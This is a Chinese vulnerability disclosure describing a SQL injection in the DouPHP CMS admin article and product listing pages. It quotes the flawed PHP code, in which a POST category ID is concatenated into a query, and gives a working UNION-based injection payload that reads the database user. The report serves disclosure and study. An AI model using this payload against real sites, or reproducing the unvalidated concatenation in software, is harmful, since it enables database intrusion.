### 简要描述:
DouPHP 功能简单,因此防御起来比较容易,使用全局过滤很好的避免了问题,不过还是存在不严谨的地方。
挖洞不易啊- -
### 详细说明:
在文件\www\admin\article.php中:
```
/**
* +----------------------------------------------------------
* 文章列表
* +----------------------------------------------------------
*/
if ($rec == 'default') {
$smarty->assign('ur_here', $_LANG['article']);
$smarty->assign('action_link', array (
'text' => $_LANG['article_add'],
'href' => 'article.php?rec=add'
));
// 验证并获取合法的分类ID
$cat_id = $check->is_number($_REQUEST['cat_id']) ? $_REQUEST['cat_id'] : (isset($_POST['cat_id']) ? $_POST['cat_id'] : ''); //这里的逻辑好像有点奇怪,判断了是否是数字,后一步直接带入了$_POST的数据
$keyword = isset($_POST['keyword']) ? trim($_POST['keyword']) : '';
if ($cat_id) {
$child_id = $dou->dou_child_id($dou->fetch_array_all('article_category'), $cat_id);
$where = " cat_id IN (" . $cat_id . $child_id . ") "; //存在就拼接了,而且这里是数字类型输入,所以无视了firewall文件的全局过滤。
}
if ($cat_id && $keyword)
$where .= 'AND';
if ($keyword)
$where .= " title LIKE '%$keyword%' ";
$where = $where ? ' WHERE' . $where : '';
// 验证并获取合法的分页ID
$page = $check->is_number($_REQUEST['page']) ? $_REQUEST['page'] : 1;
$limit = $dou->pager('article', 15, $page, $cat_id);
$sql = "SELECT id, title, cat_id, image, add_time FROM " . $dou->table('article') . $where . "ORDER BY id DESC" . $limit; //这里带入了语句查询
$query = $dou->query($sql); //这里!!!!!执行了
while ($row = $dou->fetch_array($query)) {
$cat_name = $dou->get_one("SELECT cat_name FROM " . $dou->table('article_category') . " WHERE cat_id = '$row[cat_id]'");
$add_time = date("Y-m-d", $row['add_time']);
$article_list[] = array (
"id" => $row['id'],
"cat_id" => $row['cat_id'],
"cat_name" => $cat_name,
"title" => $row['title'],
"image" => $row['image'],
"add_time" => $add_time
);
}
```
在www\admin\product.php文件中同样存在问题,由于代码类似就不贴了。
### 漏洞证明:
由于这两个地方都属于完全未过滤,且存在显示位。注入很容易。
post提交:
cat_id=2) union all select 1,user(),3,4,5-- 1
[<img src="https://images.seebug.org/upload/201409/281824420bba48612b6f5a1ef573125d137ff850.png" alt="4444.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/281824420bba48612b6f5a1ef573125d137ff850.png)
[<img src="https://images.seebug.org/upload/201409/2818251128844b4065c9f48eba9cef46dc718bd3.png" alt="55555.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/2818251128844b4065c9f48eba9cef46dc718bd3.png)
暂无评论